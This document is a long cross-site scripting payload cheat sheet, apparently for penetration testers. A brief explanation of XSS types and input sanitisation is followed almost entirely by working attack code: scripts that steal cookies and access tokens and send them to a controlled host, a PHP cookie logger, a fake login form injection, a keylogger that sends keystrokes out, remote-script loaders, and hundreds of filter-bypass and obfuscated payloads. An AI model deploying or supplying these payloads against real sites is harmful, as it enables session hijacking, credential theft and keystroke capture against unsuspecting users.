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Cross Site Scripting

Cross-site scripting (XSS) is a type of computer security vulnerability typically found in web applications. XSS enables attackers to inject client-side scripts into web pages viewed by other users.

Summary

Vulnerability Details

Cross-Site Scripting (XSS) is a type of computer security vulnerability typically found in web applications. XSS allows attackers to inject malicious code into a website, which is then executed in the browser of anyone who visits the site. This can allow attackers to steal sensitive information, such as user login credentials, or to perform other malicious actions.

There are 3 main types of XSS attacks:

  • Reflected XSS: In a reflected XSS attack, the malicious code is embedded in a link that is sent to the victim. When the victim clicks on the link, the code is executed in their browser. For example, an attacker could create a link that contains malicious JavaScript, and send it to the victim in an email. When the victim clicks on the link, the JavaScript code is executed in their browser, allowing the attacker to perform various actions, such as stealing their login credentials.

  • Stored XSS: In a stored XSS attack, the malicious code is stored on the server, and is executed every time the vulnerable page is accessed. For example, an attacker could inject malicious code into a comment on a blog post. When other users view the blog post, the malicious code is executed in their browsers, allowing the attacker to perform various actions.

  • DOM-based XSS: is a type of XSS attack that occurs when a vulnerable web application modifies the DOM (Document Object Model) in the user's browser. This can happen, for example, when a user input is used to update the page's HTML or JavaScript code in some way. In a DOM-based XSS attack, the malicious code is not sent to the server, but is instead executed directly in the user's browser. This can make it difficult to detect and prevent these types of attacks, because the server does not have any record of the malicious code.

To prevent XSS attacks, it is important to properly validate and sanitize user input. This means ensuring that all input meets the necessary criteria, and removing any potentially dangerous characters or code. It is also important to escape special characters in user input before rendering it in the browser, to prevent the browser from interpreting it as code.

Exploit code or POC

Data grabber for XSS

Obtains the administrator cookie or sensitive access token, the following payload will send it to a controlled page.

<script>document.location='http://localhost/XSS/grabber.php?c='+document.cookie</script>
<script>document.location='http://localhost/XSS/grabber.php?c='+localStorage.getItem('access_token')</script>
<script>new Image().src="http://localhost/cookie.php?c="+document.cookie;</script>
<script>new Image().src="http://localhost/cookie.php?c="+localStorage.getItem('access_token');</script>

Write the collected data into a file.

<?php
$cookie = $_GET['c'];
$fp = fopen('cookies.txt', 'a+');
fwrite($fp, 'Cookie:' .$cookie."\r\n");
fclose($fp);
?>

CORS

<script>
  fetch('https://<SESSION>.burpcollaborator.net', {
  method: 'POST',
  mode: 'no-cors',
  body: document.cookie
  });
</script>

UI redressing

Leverage the XSS to modify the HTML content of the page in order to display a fake login form.

<script>
history.replaceState(null, null, '../../../login');
document.body.innerHTML = "</br></br></br></br></br><h1>Please login to continue</h1><form>Username: <input type='text'>Password: <input type='password'></form><input value='submit' type='submit'>"
</script>

Javascript keylogger

Another way to collect sensitive data is to set a javascript keylogger.

<img src=x onerror='document.onkeypress=function(e){fetch("http://domain.com?k="+String.fromCharCode(e.which))},this.remove();'>

Other ways

More exploits at http://www.xss-payloads.com/payloads-list.html?a#category=all:

Identify an XSS endpoint

This payload opens the debugger in the developer console rather than triggering a popup alert box.

<script>debugger;</script>

Modern applications with content hosting can use sandbox domains

to safely host various types of user-generated content. Many of these sandboxes are specifically meant to isolate user-uploaded HTML, JavaScript, or Flash applets and make sure that they can't access any user data.

For this reason, it's better to use alert(document.domain) or alert(window.origin) rather than alert(1) as default XSS payload in order to know in which scope the XSS is actually executing.

Better payload replacing <script>alert(1)</script>:

<script>alert(document.domain.concat("\n").concat(window.origin))</script>

While alert() is nice for reflected XSS it can quickly become a burden for stored XSS because it requires to close the popup for each execution, so console.log() can be used instead to display a message in the console of the developer console (doesn't require any interaction).

Example:

<script>console.log("Test XSS from the search bar of page XYZ\n".concat(document.domain).concat("\n").concat(window.origin))</script>

References:

Tools

Most tools are also suitable for blind XSS attacks:

  • XSSStrike: Very popular but unfortunately not very well maintained
  • xsser: Utilizes a headless browser to detect XSS vulnerabilities
  • Dalfox: Extensive functionality and extremely fast thanks to the implementation in Go
  • XSpear: Similar to Dalfox but based on Ruby
  • domdig: Headless Chrome XSS Tester

XSS in HTML/Applications

Common Payloads

// Basic payload
<script>alert('XSS')</script>
<scr<script>ipt>alert('XSS')</scr<script>ipt>
"><script>alert('XSS')</script>
"><script>alert(String.fromCharCode(88,83,83))</script>
<script>\u0061lert('22')</script>
<script>eval('\x61lert(\'33\')')</script>
<script>eval(8680439..toString(30))(983801..toString(36))</script> //parseInt("confirm",30) == 8680439 && 8680439..toString(30) == "confirm"
<object/data="jav&#x61;sc&#x72;ipt&#x3a;al&#x65;rt&#x28;23&#x29;">

// Img payload
<img src=x onerror=alert('XSS');>
<img src=x onerror=alert('XSS')//
<img src=x onerror=alert(String.fromCharCode(88,83,83));>
<img src=x oneonerrorrror=alert(String.fromCharCode(88,83,83));>
<img src=x:alert(alt) onerror=eval(src) alt=xss>
"><img src=x onerror=alert('XSS');>
"><img src=x onerror=alert(String.fromCharCode(88,83,83));>
<><img src=1 onerror=alert(1)>

// Svg payload
<svgonload=alert(1)>
<svg/onload=alert('XSS')>
<svg onload=alert(1)//
<svg/onload=alert(String.fromCharCode(88,83,83))>
<svg id=alert(1) onload=eval(id)>
"><svg/onload=alert(String.fromCharCode(88,83,83))>
"><svg/onload=alert(/XSS/)
<svg><script href=data:,alert(1) />(`Firefox` is the only browser which allows self closing script)
<svg><script>alert('33')
<svg><script>alert&lpar;'33'&rpar;

// Div payload
<div onpointerover="alert(45)">MOVE HERE</div>
<div onpointerdown="alert(45)">MOVE HERE</div>
<div onpointerenter="alert(45)">MOVE HERE</div>
<div onpointerleave="alert(45)">MOVE HERE</div>
<div onpointermove="alert(45)">MOVE HERE</div>
<div onpointerout="alert(45)">MOVE HERE</div>
<div onpointerup="alert(45)">MOVE HERE</div>

XSS using HTML5 tags

<body onload=alert(/XSS/.source)>
<input autofocus onfocus=alert(1)>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<keygen autofocus onfocus=alert(1)>
<video/poster/onerror=alert(1)>
<video><source onerror="javascript:alert(1)">
<video src=_ onloadstart="alert(1)">
<details/open/ontoggle="alert`1`">
<audio src onloadstart=alert(1)>
<marquee onstart=alert(1)>
<meter value=2 min=0 max=10 onmouseover=alert(1)>2 out of 10</meter>

<body ontouchstart=alert(1)> // Triggers when a finger touch the screen
<body ontouchend=alert(1)>   // Triggers when a finger is removed from touch screen
<body ontouchmove=alert(1)>  // When a finger is dragged across the screen.

XSS using a remote JS

<svg/onload='fetch("//host/a").then(r=>r.text().then(t=>eval(t)))'>
<script src=14.rs>
// you can also specify an arbitrary payload with 14.rs/#payload
e.g: 14.rs/#alert(document.domain)

XSS in hidden input

<input type="hidden" accesskey="X" onclick="alert(1)">
Use CTRL+SHIFT+X to trigger the onclick event

XSS when payload is reflected capitalized

<IMG SRC=1 ONERROR=&#X61;&#X6C;&#X65;&#X72;&#X74;(1)>

DOM based XSS

Based on a DOM XSS sink.

#"><img src=/ onerror=alert(2)>

XSS in JS Context

-(confirm)(document.domain)//
; alert(1);//
// (payload without quote/double quote from [@brutelogic](https://twitter.com/brutelogic)

XSS in wrappers javascript and data URI

XSS with javascript:

javascript:prompt(1)

%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2399%26%23111%26%23110%26%23102%26%23105%26%23114%26%23109%26%2340%26%2349%26%2341

&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#99&#111&#110&#102&#105&#114&#109&#40&#49&#41

We can encode the "javascript:" in Hex/Octal
\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3aalert(1)
\u006A\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u003aalert(1)
\152\141\166\141\163\143\162\151\160\164\072alert(1)

We can use a 'newline character'
java%0ascript:alert(1)   - LF (\n)
java%09script:alert(1)   - Horizontal tab (\t)
java%0dscript:alert(1)   - CR (\r)

Using the escape character
\j\av\a\s\cr\i\pt\:\a\l\ert\(1\)

Using the newline and a comment //
javascript://%0Aalert(1)
javascript://anything%0D%0A%0D%0Awindow.alert(1)

XSS with data:

data:text/html,<script>alert(0)</script>
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>

XSS with vbscript: only IE

vbscript:msgbox("XSS")

XSS in files

** NOTE:** The XML CDATA section is used here so that the JavaScript payload will not be treated as XML markup.

<name>
  <value><![CDATA[<script>confirm(document.domain)</script>]]></value>
</name>

XSS in XML

<html>
<head></head>
<body>
<something:script xmlns:something="http://www.w3.org/1999/xhtml">alert(1)</something:script>
</body>
</html>

XSS in SVG

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
  <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
  <script type="text/javascript">
    alert(document.domain);
  </script>
</svg>

XSS in SVG (short)

<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>

<svg><desc><![CDATA[</desc><script>alert(1)</script>]]></svg>
<svg><foreignObject><![CDATA[</foreignObject><script>alert(2)</script>]]></svg>
<svg><title><![CDATA[</title><script>alert(3)</script>]]></svg>

XSS in Markdown

[a](javascript:prompt(document.cookie))
[a](j a v a s c r i p t:prompt(document.cookie))
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[a](javascript:window.onerror=alert;throw%201)

XSS in SWF flash application

Browsers other than IE: http://0me.me/demo/xss/xssproject.swf?js=alert(document.domain);
IE8: http://0me.me/demo/xss/xssproject.swf?js=try{alert(document.domain)}catch(e){ window.open(‘?js=history.go(-1)’,’_self’);}
IE9: http://0me.me/demo/xss/xssproject.swf?js=w=window.open(‘invalidfileinvalidfileinvalidfile’,’target’);setTimeout(‘alert(w.document.location);w.close();’,1);

more payloads in ./files

XSS in SWF flash application

flashmediaelement.swf?jsinitfunctio%gn=alert`1`
flashmediaelement.swf?jsinitfunctio%25gn=alert(1)
ZeroClipboard.swf?id=\"))} catch(e) {alert(1);}//&width=1000&height=1000
swfupload.swf?movieName="]);}catch(e){}if(!self.a)self.a=!alert(1);//
swfupload.swf?buttonText=test<a href="javascript:confirm(1)"><img src="https://web.archive.org/web/20130730223443im_/http://appsec.ws/ExploitDB/cMon.jpg"/></a>&.swf
plupload.flash.swf?%#target%g=alert&uid%g=XSS&
moxieplayer.swf?url=https://github.com/phwd/poc/blob/master/vid.flv?raw=true
video-js.swf?readyFunction=alert(1)
player.swf?playerready=alert(document.cookie)
player.swf?tracecall=alert(document.cookie)
banner.swf?clickTAG=javascript:alert(1);//
io.swf?yid=\"));}catch(e){alert(1);}//
video-js.swf?readyFunction=alert%28document.domain%2b'%20XSSed!'%29
bookContent.swf?currentHTMLURL=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4
flashcanvas.swf?id=test\"));}catch(e){alert(document.domain)}//
phpmyadmin/js/canvg/flashcanvas.swf?id=test\”));}catch(e){alert(document.domain)}//

XSS in CSS

<!DOCTYPE html>
<html>
<head>
<style>
div  {
    background-image: url("data:image/jpg;base64,<\/style><svg/onload=alert(document.domain)>");
    background-color: #cccccc;
}
</style>
</head>
  <body>
    <div>lol</div>
  </body>
</html>

XSS in PostMessage

If the target origin is asterisk * the message can be sent to any domain has reference to the child page.

<html>
<body>
    <input type=button value="Click Me" id="btn">
</body>

<script>
document.getElementById('btn').onclick = function(e){
    window.poc = window.open('http://www.redacted.com/#login');
    setTimeout(function(){
        window.poc.postMessage(
            {
                "sender": "accounts",
                "url": "javascript:confirm('XSS')",
            },
            '*'
        );
    }, 2000);
}
</script>
</html>

Blind XSS

XSS Hunter

XSS Hunter allows you to find all kinds of cross-site scripting vulnerabilities, including the often-missed blind XSS. The service works by hosting specialized XSS probes which, upon firing, scan the page and send information about the vulnerable page to the XSS Hunter service.

XSS Hunter is deprecated, it was available at https://xsshunter.com/app.

You can set up an alternative version * Self-hosted version from mandatoryprogrammer/xsshunter-express * Hosted on xsshunter.trufflesecurity.com

"><script src="https://js.rip/<custom.name>"></script>
"><script src=//<custom.subdomain>.xss.ht></script>
<script>$.getScript("//<custom.subdomain>.xss.ht")</script>

Other Blind XSS tools

Blind XSS endpoint

  • Contact forms
  • Ticket support
  • Referer Header
  • Custom Site Analytics
  • Administrative Panel logs
  • User Agent
  • Custom Site Analytics
  • Administrative Panel logs
  • Comment Box
  • Administrative Panel

Tips

You can use a Data grabber for XSS and a one-line HTTP server to confirm the existence of a blind XSS before deploying a heavy blind-XSS testing tool.

Eg. payload

<script>document.location='http://10.10.14.30:8080/XSS/grabber.php?c='+document.domain</script>

Eg. one-line HTTP server:

$ ruby -run -ehttpd . -p8080

Mutated XSS

Use browsers quirks to recreate some HTML tags when it is inside an element.innerHTML.

Mutated XSS from Masato Kinugawa, used against DOMPurify component on Google Search. Technical blogposts available at https://www.acunetix.com/blog/web-security-zone/mutation-xss-in-google-search/ and https://research.securitum.com/dompurify-bypass-using-mxss/.

<noscript><p title="</noscript><img src=x onerror=alert(1)>">

Polyglot XSS

Polyglot XSS - 0xsobky

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

Polyglot XSS - Ashar Javed

">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm&lpar; 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">

Polyglot XSS - Mathias Karlsson

" onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//

Polyglot XSS - Rsnake

';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>

Polyglot XSS - Daniel Miessler

';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
“ onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
'">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script><script>alert(1)</script>"><img/id="confirm&lpar;1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http://i.imgur.com/P8mL8.jpg">
javascript://'/</title></style></textarea></script>--><p" onclick=alert()//>*/alert()/*
javascript://--></script></title></style>"/</textarea>*/<alert()/*' onclick=alert()//>a
javascript://</title>"/</script></style></textarea/-->*/<alert()/*' onclick=alert()//>/
javascript://</title></style></textarea>--></script><a"//' onclick=alert()//>*/alert()/*
javascript://'//" --></textarea></style></script></title><b onclick= alert()//>*/alert()/*
javascript://</title></textarea></style></script --><li '//" '*/alert()/*', onclick=alert()//
javascript:alert()//--></script></textarea></style></title><a"//' onclick=alert()//>*/alert()/*
--></script></title></style>"/</textarea><a' onclick=alert()//>*/alert()/*
/</title/'/</style/</script/</textarea/--><p" onclick=alert()//>*/alert()/*
javascript://--></title></style></textarea></script><svg "//' onclick=alert()//
/</title/'/</style/</script/--><p" onclick=alert()//>*/alert()/*

Polyglot XSS - @s0md3v https://pbs.twimg.com/media/DWiLk3UX4AE0jJs.jpg

-->'"/></sCript><svG x=">" onload=(co\u006efirm)``>

https://pbs.twimg.com/media/DWfIizMVwAE2b0g.jpg:large

<svg%0Ao%00nload=%09((pro\u006dpt))()//

Polyglot XSS - from @filedescriptor's Polyglot Challenge

# by crlf
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>

# by europa
javascript:"/*'/*`/*\" /*</title></style></textarea></noscript></noembed></template></script/-->&lt;svg/onload=/*<html/*/onmouseover=alert()//>

# by EdOverflow
javascript:"/*\"/*`/*' /*</template></textarea></noembed></noscript></title></style></script>-->&lt;svg onload=/*<html/*/onmouseover=alert()//>

# by h1/ragnar
javascript:`//"//\"//</title></textarea></style></noscript></noembed></script></template>&lt;svg/onload='/*--><html */ onmouseover=alert()//'>`

Polyglot XSS - from brutelogic 

JavaScript://%250Aalert?.(1)//'/*\'/*"/*\"/*`/*\`/*%26apos;)/*<!--></Title/</Style/</Script/</textArea/</iFrame/</noScript>\74k<K/contentEditable/autoFocus/OnFocus=/*${/*/;{/**/(alert)(1)}//><Base/Href=//X55.is\76-->

Filter Bypass and exotic payloads

Bypass case sensitive

<sCrIpt>alert(1)</ScRipt>

Bypass tag blacklist

<script x>
<script x>alert('XSS')<script y>

Bypass word blacklist with code evaluation

eval('ale'+'rt(0)');
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;

Bypass with incomplete html tag

Works on IE/Firefox/Chrome/Safari

<img src='1' onerror='alert(0)' <

Bypass quotes for string

String.fromCharCode(88,83,83)

Bypass quotes in script tag

http://localhost/bla.php?test=</script><script>alert(1)</script>
<html>
  <script>
    <?php echo 'foo="text '.$_GET['test'].'";';`?>
  </script>
</html>

Bypass quotes in mousedown event

You can bypass a single quote with ' in an on mousedown event handler

<a href="" onmousedown="var name = '&#39;;alert(1)//'; alert('smthg')">Link</a>

Bypass dot filter

<script>window['alert'](document['domain'])</script>

Convert IP address into decimal format: IE. http://192.168.1.1 == http://3232235777 http://www.geektools.com/cgi-bin/ipconv.cgi

<script>eval(atob("YWxlcnQoZG9jdW1lbnQuY29va2llKQ=="))<script>

Base64 encoding your XSS payload with Linux command: IE. echo -n "alert(document.cookie)" | base64 == YWxlcnQoZG9jdW1lbnQuY29va2llKQ==

Bypass parenthesis for string

alert`1`
setTimeout`alert\u0028document.domain\u0029`;

Bypass parenthesis and semi colon

// From @garethheyes
<script>onerror=alert;throw 1337</script>
<script>{onerror=alert}throw 1337</script>
<script>throw onerror=alert,'some string',123,'haha'</script>

// From @terjanq
<script>throw/a/,Uncaught=1,g=alert,a=URL+0,onerror=eval,/1/g+a[12]+[1337]+a[13]</script>

// From @cgvwzq
<script>TypeError.prototype.name ='=/',0[onerror=eval]['/-alert(1)//']</script>

Bypass onxxxx= blacklist

<object onafterscriptexecute=confirm(0)>
<object onbeforescriptexecute=confirm(0)>

// Bypass onxxx= filter with a null byte/vertical tab
<img src='1' onerror\x00=alert(0) />
<img src='1' onerror\x0b=alert(0) />

// Bypass onxxx= filter with a '/'
<img src='1' onerror/=alert(0) />

Bypass space filter

// Bypass space filter with "/"
<img/src='1'/onerror=alert(0)>

// Bypass space filter with 0x0c/^L
<svgonload=alert(1)>

$ echo "<svg^Lonload^L=^Lalert(1)^L>" | xxd
00000000: 3c73 7667 0c6f 6e6c 6f61 640c 3d0c 616c  <svg.onload.=.al
00000010: 6572 7428 3129 0c3e 0a                   ert(1).>.

Bypass email filter

Bypass tel URI filter

At least 2 RFC mention the ;phone-context= descriptor:

+330011223344;phone-context=<script>alert(0)</script>

Bypass document blacklist

<div id = "x"></div><script>alert(x.parentNode.parentNode.parentNode.location)</script>
window["doc"+"ument"]

Bypass document.cookie blacklist

This is another way to access cookies on Chrome, Edge, and Opera. Replace COOKIE NAME with the cookie you are after. You may also investigate the getAll() method if that suits your requirements.

window.cookieStore.get('COOKIE NAME').then((cookieValue)=>{alert(cookieValue.value);});

Bypass using javascript inside a string

<script>
foo="text </script><script>alert(1)</script>";
</script>

Bypass using an alternate way to redirect

location="http://google.com"
document.location = "http://google.com"
document.location.href="http://google.com"
window.location.assign("http://google.com")
window['location']['href']="http://google.com"

Bypass using an alternate way to execute an alert

From @brutelogic tweet.

window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)

[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);

From @theMiddle - Using global variables

The Object.keys() method returns an array of a given object's own property names, in the same order as we get with a normal loop. That's means that we can access any JavaScript function by using its index number instead the function name.

c=0; for(i in self) { if(i == "alert") { console.log(c); } c++; }
// 5

Then calling alert is :

Object.keys(self)[5]
// "alert"
self[Object.keys(self)[5]]("1") // alert("1")

We can find "alert" with a regular expression like ^a[rel]+t$ :

a=()=>{c=0;for(i in self){if(/^a[rel]+t$/.test(i)){return c}c++}} //bind function alert on new function a()

// then you can use a() with Object.keys

self[Object.keys(self)[a()]]("1") // alert("1")

Oneliner: 

a=()=>{c=0;for(i in self){if(/^a[rel]+t$/.test(i)){return c}c++}};self[Object.keys(self)[a()]]("1")

From @quanyang tweet.

prompt`${document.domain}`
document.location='java\tscript:alert(1)'
document.location='java\rscript:alert(1)'
document.location='java\tscript:alert(1)'

From @404death tweet.

eval('ale'+'rt(0)');
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;

constructor.constructor("aler"+"t(3)")();
[].filter.constructor('ale'+'rt(4)')();

top["al"+"ert"](5);
top[8680439..toString(30)](7);
top[/al/.source+/ert/.source](8);
top['al\x65rt'](9);

open('java'+'script:ale'+'rt(11)');
location='javascript:ale'+'rt(12)';

setTimeout`alert\u0028document.domain\u0029`;
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;

Bypass using an alternate way to trigger an alert

var i = document.createElement("iframe");
i.onload = function(){
  i.contentWindow.alert(1);
}
document.appendChild(i);

// Bypassed security
XSSObject.proxy = function (obj, name, report_function_name, exec_original) {
      var proxy = obj[name];
      obj[name] = function () {
        if (exec_original) {
          return proxy.apply(this, arguments);
        }
      };
      XSSObject.lockdown(obj, name);
  };
XSSObject.proxy(window, 'alert', 'window.alert', false);

Bypass ">" using nothing

You don't need to close your tags.

<svg onload=alert(1)//

Bypass "<" and ">" using ＜ and ＞

Unicode Character U+FF1C and U+FF1E

＜script/src=//evil.site/poc.js＞

Bypass ";" using another character

'te' * alert('*') * 'xt';
'te' / alert('/') / 'xt';
'te' % alert('%') % 'xt';
'te' - alert('-') - 'xt';
'te' + alert('+') + 'xt';
'te' ^ alert('^') ^ 'xt';
'te' > alert('>') > 'xt';
'te' < alert('<') < 'xt';
'te' == alert('==') == 'xt';
'te' & alert('&') & 'xt';
'te' , alert(',') , 'xt';
'te' | alert('|') | 'xt';
'te' ? alert('ifelsesh') : 'xt';
'te' in alert('in') in 'xt';
'te' instanceof alert('instanceof') instanceof 'xt';

Bypass using missing charset header

Requirements:

  • Server header missing charset: Content-Type: text/html

ISO-2022-JP

ISO-2022-JP uses escape characters to switch between several character sets.

Escape Encoding
\x1B (B ASCII
\x1B (J JIS X 0201 1976
\x1B $@ JIS X 0208 1978
\x1B $B JIS X 0208 1983

Using the code table, we can find multiple characters that will be transformed when switching from ASCII to JIS X 0201 1976.

Hex ASCII JIS X 0201 1976
0x5c \ ¥
0x7e ~ ‾

Example

Use %1b(J to force convert a \' (ascii) in to ¥' (JIS X 0201 1976), unescaping the quote.

Payload: search=%1b(J&lang=en";alert(1)//

Bypass using HTML encoding

%26%2397;lert(1)
&#97;&#108;&#101;&#114;&#116;
></script><svg onload=%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%3B(document.domain)>

Bypass using Katakana

Using the Katakana library.

javascript:([,ウ,,,,ア]=[]+{},[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()

Bypass using Cuneiform

𒀀='',𒉺=!𒀀+𒀀,𒀃=!𒉺+𒀀,𒇺=𒀀+{},𒌐=𒉺[𒀀++],
𒀟=𒉺[𒈫=𒀀],𒀆=++𒈫+𒀀,𒁹=𒇺[𒈫+𒀆],𒉺[𒁹+=𒇺[𒀀]
+(𒉺.𒀃+𒇺)[𒀀]+𒀃[𒀆]+𒌐+𒀟+𒉺[𒈫]+𒁹+𒌐+𒇺[𒀀]
+𒀟][𒁹](𒀃[𒀀]+𒀃[𒈫]+𒉺[𒀆]+𒀟+𒌐+"(𒀀)")()

Bypass using Lontara

ᨆ='',ᨊ=!ᨆ+ᨆ,ᨎ=!ᨊ+ᨆ,ᨂ=ᨆ+{},ᨇ=ᨊ[ᨆ++],ᨋ=ᨊ[ᨏ=ᨆ],ᨃ=++ᨏ+ᨆ,ᨅ=ᨂ[ᨏ+ᨃ],ᨊ[ᨅ+=ᨂ[ᨆ]+(ᨊ.ᨎ+ᨂ)[ᨆ]+ᨎ[ᨃ]+ᨇ+ᨋ+ᨊ[ᨏ]+ᨅ+ᨇ+ᨂ[ᨆ]+ᨋ][ᨅ](ᨎ[ᨆ]+ᨎ[ᨏ]+ᨊ[ᨃ]+ᨋ+ᨇ+"(ᨆ)")()

More alphabets on http://aem1k.com/aurebesh.js/#

Bypass using ECMAScript6

<script>alert&DiacriticalGrave;1&DiacriticalGrave;</script>

Bypass using Octal encoding

javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76'

Bypass using Unicode

Unicode character U+FF1C FULLWIDTH LESS­THAN SIGN (encoded as %EF%BC%9C) was
transformed into U+003C LESS­THAN SIGN (<)

Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) was
transformed into U+0022 QUOTATION MARK (")

Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) was
transformed into U+0027 APOSTROPHE (')

E.g : http://www.example.net/something%CA%BA%EF%BC%9E%EF%BC%9Csvg%20onload=alert%28/XSS/%29%EF%BC%9E/
%EF%BC%9E becomes >
%EF%BC%9C becomes <

Bypass using Unicode converted to uppercase

İ (%c4%b0).toLowerCase() => i
ı (%c4%b1).toUpperCase() => I
ſ (%c5%bf) .toUpperCase() => S
K (%E2%84%AA).toLowerCase() => k

<ſvg onload=... > become <SVG ONLOAD=...>
<ıframe id=x onload=>.toUpperCase() become <IFRAME ID=X ONLOAD=>

Bypass using UTF-7

+ADw-img src=+ACI-1+ACI- onerror=+ACI-alert(1)+ACI- /+AD4-

Bypass using UTF-8

< = %C0%BC = %E0%80%BC = %F0%80%80%BC
> = %C0%BE = %E0%80%BE = %F0%80%80%BE
' = %C0%A7 = %E0%80%A7 = %F0%80%80%A7
" = %C0%A2 = %E0%80%A2 = %F0%80%80%A2
" = %CA%BA
' = %CA%B9

Bypass using UTF-16be

%00%3C%00s%00v%00g%00/%00o%00n%00l%00o%00a%00d%00=%00a%00l%00e%00r%00t%00(%00)%00%3E%00
\x00<\x00s\x00v\x00g\x00/\x00o\x00n\x00l\x00o\x00a\x00d\x00=\x00a\x00l\x00e\x00r\x00t\x00(\x00)\x00>

Bypass using UTF-32

%00%00%00%00%00%3C%00%00%00s%00%00%00v%00%00%00g%00%00%00/%00%00%00o%00%00%00n%00%00%00l%00%00%00o%00%00%00a%00%00%00d%00%00%00=%00%00%00a%00%00%00l%00%00%00e%00%00%00r%00%00%00t%00%00%00(%00%00%00)%00%00%00%3E

Bypass using BOM

Byte Order Mark (The page must begin with the BOM character.) BOM character allows you to override charset of the page

BOM Character for UTF-16 Encoding:
Big Endian : 0xFE 0xFF
Little Endian : 0xFF 0xFE
XSS : %fe%ff%00%3C%00s%00v%00g%00/%00o%00n%00l%00o%00a%00d%00=%00a%00l%00e%00r%00t%00(%00)%00%3E

BOM Character for UTF-32 Encoding:
Big Endian : 0x00 0x00 0xFE 0xFF
Little Endian : 0xFF 0xFE 0x00 0x00
XSS : %00%00%fe%ff%00%00%00%3C%00%00%00s%00%00%00v%00%00%00g%00%00%00/%00%00%00o%00%00%00n%00%00%00l%00%00%00o%00%00%00a%00%00%00d%00%00%00=%00%00%00a%00%00%00l%00%00%00e%00%00%00r%00%00%00t%00%00%00(%00%00%00)%00%00%00%3E

Bypass using weird encoding or native interpretation

<script>\u0061\u006C\u0065\u0072\u0074(1)</script>
<img src="1" onerror="&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;" />
<iframe src="javascript:%61%6c%65%72%74%28%31%29"></iframe>
<script>$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
